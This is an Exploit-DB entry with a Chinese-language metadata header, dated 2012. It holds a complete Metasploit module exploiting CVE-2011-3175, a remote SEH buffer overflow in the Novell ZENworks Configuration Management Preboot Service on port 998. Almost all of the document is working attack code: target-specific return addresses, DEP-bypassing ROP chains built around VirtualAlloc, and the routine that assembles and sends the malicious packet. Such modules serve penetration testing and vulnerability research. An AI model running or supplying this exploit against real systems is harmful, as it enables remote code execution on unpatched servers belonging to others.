标题: Novell ZENworks Configuration Management Preboot Service - 0x6c Buffer Overflow (Metasploit) EDB-ID: 19958 CVE: 2011-3176 2011-3175 类型: REMOTE 平台: WINDOWS 发布日期: 2012-07-20 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow',
   'Description'    => %q{
     This module exploits a remote buffer overflow in the ZENworks Configuration
    Management. The vulnerability exists in the Preboot service and can be triggered by
    sending a specially crafted packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP)
    to port 998/TCP. The module has been successfully tested on Novell ZENworks
    Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Luigi Auriemma', # Vulnerability Discovery
     'juan' # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2011-3175' ],
     [ 'OSVDB', '80231' ],
     [ 'BID', '52659' ],
     [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=973' ],
     [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Payload'        =>
    {
     'BadChars' => "\x00",
     'Space'=> 990,
     'DisableNops' => true,
     'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
    },
   'Platform'       => ['win'],
   'Targets'        =>
    [
     [ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
      {
       'Offset'            => 1100,
       'OffsetBottomStack' => 1148,
       'OffsetRop'         => 4,
       'Ret'               => 0x10024b8c # add esp, 1204 # ret from zenimgweb.dll
      }
     ],
     [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
      {
       'Offset'            => 1100,
       'OffsetBottomStack' => 1148,
       'OffsetRop'         => 4,
       'Ret'               => 0x10024a7c # add esp, 1204 # ret from zenimgweb.dll
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 22 2012',
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(998)], self.class)
 end

 def junk(n=4)
  return rand_text_alpha(n).unpack("V").first
 end

 def nop
  return make_nops(4).unpack("L")[0].to_i
 end

 # rop chain generated with mona.py
 def create_rop_chain()


  if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
   rop_gadgets =
    [
     0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
     0x00001000, # 0x00001000-> edx
     0x100239df, # POP ECX # RETN [zenimgweb.dll]
     0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
     0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
     0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
     0x10007b22, # & push esp #  ret  [zenimgweb.dll]
     0x100235dc, # POP EBX # RETN [zenimgweb.dll]
     0x00000001, # 0x00000001-> ebx
     0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
     0x00000040, # 0x00000040-> ecx
     0x1004702b, # POP EDI # RETN [zenimgweb.dll]
     0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
     0x10011217, # POP EAX # RETN [zenimgweb.dll]
     nop,
     0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
    ].pack("V*")
  else # Novell ZENworks Configuration Management 10 SP2
   rop_gadgets =
    [
     0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
     0x00001000, # 0x00001000-> edx
     0x10062113, # POP ECX # RETN [zenimgweb.dll]
     0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
     0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     junk,       # Filler (compensate)
     0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
     0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
     0x10043053, # & push esp #  ret  [zenimgweb.dll]
     0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
     0x00000001, # 0x00000001-> ebx
     0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
     0x00000040, # 0x00000040-> ecx
     0x1003173e, # POP EDI # RETN [zenimgweb.dll]
     0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
     0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
     nop,
     0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
    ].pack("V*")
  end

  return rop_gadgets
 end


 def exploit
  connect

  buf = rand_text(4)
  buf2 = rand_text(4)
  buf3 = rand_text(4)
  buf4 = rand_text(4)

  buf5 = rand_text(target['OffsetRop'])
  buf5 << create_rop_chain
  buf5 << payload.encoded
  buf5 << rand_text(target['Offset'] - buf5.length)
  buf5 << generate_seh_record(target.ret)
  buf5 << rand_text(target['OffsetBottomStack'] - buf4.length)

  my_buf = ""
  buf5.unpack("C*").each {|b|
   my_buf << [b].pack("C")
   my_buf << rand_text(1)
  }

  packet =  [0x6c].pack("N") # Opcode 0x6c
  packet << [buf.length].pack("N") # Length
  packet << buf # Value
  packet << [buf2.length].pack("N") # Length
  packet << buf2 # Value
  packet << [buf3.length].pack("N") # Length
  packet << buf3 # Value
  packet << [buf4.length].pack("N") # Length
  packet << buf4 # Value
  packet << [my_buf.length].pack("N") # Length
  packet << my_buf # Value
  sock.put(packet)

  disconnect
 end
end URL: https://www.exploit-db.com/exploits/19958